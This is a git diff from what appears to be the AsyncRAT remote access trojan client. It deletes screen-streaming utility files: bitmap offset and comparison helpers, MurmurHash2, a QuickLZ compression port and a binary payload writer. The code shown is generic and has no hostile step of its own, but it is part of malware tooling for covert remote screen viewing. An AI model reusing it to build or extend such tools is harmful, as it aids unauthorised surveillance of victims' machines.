Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format) - { - List offsets = new List(); - - for (int y = beginPoint.Y; y < endPoint.Y; y++) - { - int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4); - int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4); - - switch (format) - { - case PixelFormat.Format32bppArgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format8bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height)) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format4bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format1bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - default: - { - throw new NotSupportedException(format + " is not supported."); - } - } - - } - return offsets.ToArray(); - } - - /// Get the byte points in 2D - /// The beginning of the X, Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format) - { - int Width = endPoint.X - beginPoint.X; - int Height = endPoint.Y - beginPoint.Y; - - float Wsize = ((float)Width / (float)SlicePieces); - float Hsize = ((float)Height / (float)SlicePieces); - - //+1 just to make sure we are not going outside the array - if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F; - if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F; - - ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][]; - Point tmp = new Point(0, 0); - for (int y = beginPoint.Y; y < Height; y += SlicePieces) - { - for (int x = beginPoint.X; x < Width; x += SlicePieces) - { - ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format); - tmp.X++; - } - tmp.X = 0; - tmp.Y++; - } - return ImageArrayOffsets; - } - } - - public class ArrayOffset - { - public int BeginOffset { get; private set; } - public int EndOffset { get; private set; } - public int Stride { get; private set; } - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - - public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height) - { - this.BeginOffset = begin; - this.EndOffset = end; - this.Stride = Stride; - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs deleted file mode 100644 index ba82bff..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class MurmurHash2Unsafe - { - const UInt32 m = 0x5bd1e995; - const Int32 r = 24; - - public unsafe UInt32 Hash(Byte* data, int length) - { - if (length == 0) - return 0; - UInt32 h = 0xc58f1a7b ^ (UInt32)length; - Int32 remainingBytes = length & 3; // mod 4 - Int32 numberOfLoops = length >> 2; // div 4 - UInt32* realData = (UInt32*)data; - while (numberOfLoops != 0) - { - UInt32 k = *realData; - k *= m; - k ^= k >> r; - k *= m; - - h *= m; - h ^= k; - numberOfLoops--; - realData++; - } - switch (remainingBytes) - { - case 3: - h ^= (UInt16)(*realData); - h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16; - h *= m; - break; - case 2: - h ^= (UInt16)(*realData); - h *= m; - break; - case 1: - h ^= *((Byte*)realData); - h *= m; - break; - default: - break; - } - - // Do a few final mixes of the hash to ensure the last few - // bytes are well-incorporated. - - h ^= h >> 13; - h *= m; - h ^= h >> 15; - - return h; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs deleted file mode 100644 index a76fb23..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace StreamLibrary.src -{ - public class PayloadWriter : IDisposable - { - public Stream vStream { get; set; } - public PayloadWriter() - { - vStream = new MemoryStream(); - } - public PayloadWriter(Stream stream) - { - vStream = stream; - } - - public void WriteBytes(byte[] value) - { - vStream.Write(value, 0, value.Length); - } - - public void WriteBytes(byte[] value, int Offset, int Length) - { - vStream.Write(value, Offset, Length); - } - - public void WriteInteger(int value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - /// - /// A integer with 3 bytes not 4 - /// - public void WriteThreeByteInteger(int value) - { - WriteByte((byte)value); - WriteByte((byte)(value >> 8)); - WriteByte((byte)(value >> 16)); - } - - public void WriteUInteger(uint value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteShort(short value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteUShort(ushort value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteULong(ulong value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteByte(byte value) - { - vStream.WriteByte(value); - } - - public void WriteBool(bool value) - { - WriteByte(value ? (byte)1 : (byte)0); - } - - public void WriteDouble(double value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteLong(long value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteFloat(float value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteDecimal(decimal value) - { - BinaryWriter writer = new BinaryWriter(vStream); - writer.Write(value); - } - - public void WriteString(string value) - { - if (!(value == null)) - WriteBytes(System.Text.Encoding.Unicode.GetBytes(value)); - else - throw new NullReferenceException("value"); - vStream.WriteByte(0); - vStream.WriteByte(0); - } - - public int Length - { - get { return (int)vStream.Length; } - } - - public void Dispose() - { - vStream.Close(); - vStream.Dispose(); - vStream = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs deleted file mode 100644 index 71ba44f..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - /// - /// A helper class for pointers - /// - public class PointerHelper - { - private int _offset; - - public IntPtr Pointer - { - get; - private set; - } - - public int TotalLength { get; private set; } - - public int Offset - { - get { return _offset; } - set - { - if (value < 0) - throw new Exception("Offset must be >= 1"); - - if (value >= TotalLength) - throw new Exception("Offset cannot go outside of the reserved buffer space"); - - _offset = value; - } - } - - public PointerHelper(IntPtr pointer, int Length) - { - this.TotalLength = Length; - this.Pointer = pointer; - } - - /// - /// Copies data from Source to the current Pointer Offset - /// - public void Copy(IntPtr Source, int SourceOffset, int SourceLength) - { - if (CheckBoundries(this.Offset, SourceLength)) - throw new AccessViolationException("Cannot write outside of the buffer space"); - NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength); - } - - private bool CheckBoundries(int offset, int length) - { - return offset + length > TotalLength; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs deleted file mode 100644 index bde4b98..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs +++ /dev/null @@ -1,487 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private int headerLen(byte[] source, int offset) - { - return ((source[offset] & 2) == 2) ? 9 : 3; - } - - public int sizeDecompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24); - else - return source[offset + 2]; - } - - public int sizeCompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24); - else - return source[offset + 1]; - } - - private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - fast_write(dst, 1, size_decompressed, 4); - fast_write(dst, 5, size_compressed, 4); - } - - public byte[] compress(byte[] source, int Offset, int Length, int level) - { - int src = Offset; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[Length + 400]; - int[,] hashtable; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if (level == 1) - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - else - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - - if (Length == 0) - return new byte[0]; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[Length + DEFAULT_HEADERLEN]; - write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN); - System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length); - return d2; - } - - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - fast_write(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - fast_write(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - fast_write(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= Length - 1) - { - if ((cword_val & 1) == 1) - { - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - write_header(destination, level, true, Length, dst); - d2 = new byte[dst]; - System.Array.Copy(destination, d2, dst); - return d2; - } - - - private void fast_write(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public byte[] decompress(byte[] source, int Offset, int Length) - { - int level; - int size = sizeDecompressed(source, Offset); - int src = headerLen(source, Offset) + Offset; - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - level = (source[Offset] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if ((source[Offset] & 1) != 1) - { - byte[] d2 = new byte[size]; - System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs deleted file mode 100644 index ab62e1f..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class SimpleBitmap - { - private object ProcessingLock = new object(); - - public SimpleBitmapInfo Info { get; internal set; } - public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } } - public IntPtr Scan0 { get; internal set; } - public int Scan0_int { get; internal set; } - public BitmapData bitmapData { get; internal set; } - public Bitmap bitMap { get; set; } - - public class SimpleBitmapInfo - { - public SimpleBitmapInfo() - { - Clear(); - } - public SimpleBitmapInfo(BitmapData data) - { - Load(data); - } - public int Stride { get; protected set; } - public int PixelSize { get; protected set; } - public int Width { get; protected set; } - public int Height { get; protected set; } - - public int TotalSize { get; protected set; } - - internal void Clear() - { - Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0; - } - internal void Load(BitmapData data) - { - Width = data.Width; Height = data.Height; Stride = data.Stride; - - PixelSize = Math.Abs(data.Stride) / data.Width; - TotalSize = data.Width * data.Height * PixelSize; - } - } - - public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int WidthSize = block.Width * sharedInfo.PixelSize; - - calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize; - - for (int i = 0; i < block.Height; i++) - { - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0) - return false; - calc += sharedInfo.Stride; - } - return true; - } - public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize; - - calc = y * sharedInfo.Stride; - - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0) - return false; - return true; - } - public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0) - return false; - return true; - } - - public unsafe void CopyBlock(Rectangle block, ref byte[] dest) - { - int calc = 0; - int WidthSize = block.Width * Info.PixelSize; - int CopyOffset = 0; - int scan0 = Scan0.ToInt32(); - int destSize = WidthSize * block.Height; - - if (dest == null || dest.Length != destSize) - dest = new byte[destSize]; - - calc = (block.Y) * Info.Stride + block.X * Info.PixelSize; - - fixed (byte* ptr = dest) - { - for (int i = 0; i < block.Height; i++) - { - NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize); - calc += Info.Stride; - CopyOffset += WidthSize; - } - } - } - - public SimpleBitmap() - { - Scan0 = IntPtr.Zero; - bitmapData = null; - bitMap = null; - - Info = new SimpleBitmapInfo(); - } - public SimpleBitmap(Bitmap bmp) - { - this.bitMap = bmp; - } - - public void Lock() - { - if (Locked) - throw new Exception("Already locked"); - - lock (ProcessingLock) - { - bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat); - - Info = new SimpleBitmapInfo(bitmapData); - - Scan0 = bitmapData.Scan0; - Scan0_int = Scan0.ToInt32(); - } - } - public void Unlock() - { - if (!Locked) - throw new Exception("Nothing to unlock"); - - lock (ProcessingLock) - { - Scan0 = IntPtr.Zero; - Scan0_int = 0; - - Info.Clear(); - bitMap.UnlockBits(bitmapData); - bitmapData = null; - } - } - public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc) - { - int CopySize = Info.PixelSize * loc.Width; - int OffsetX = loc.X * Info.PixelSize; - int TotalCopied = 0; - - fixed (byte* ptr = block) - { - for (int i = 0; i < loc.Height; i++) - { - NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize); - TotalCopied += CopySize; - } - } - } - public void Dispose(bool disposeBitmap = false) - { - if (Locked) - Unlock(); - - if (disposeBitmap) - bitMap.Dispose(); - - bitMap = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/packages.config b/AsyncRAT-C#/Client/packages.config index c2d5114..c857724 100644 --- a/AsyncRAT-C#/Client/packages.config +++ b/AsyncRAT-C#/Client/packages.config @@ -1,5 +1,5 @@  - - + + \ No newline at end of file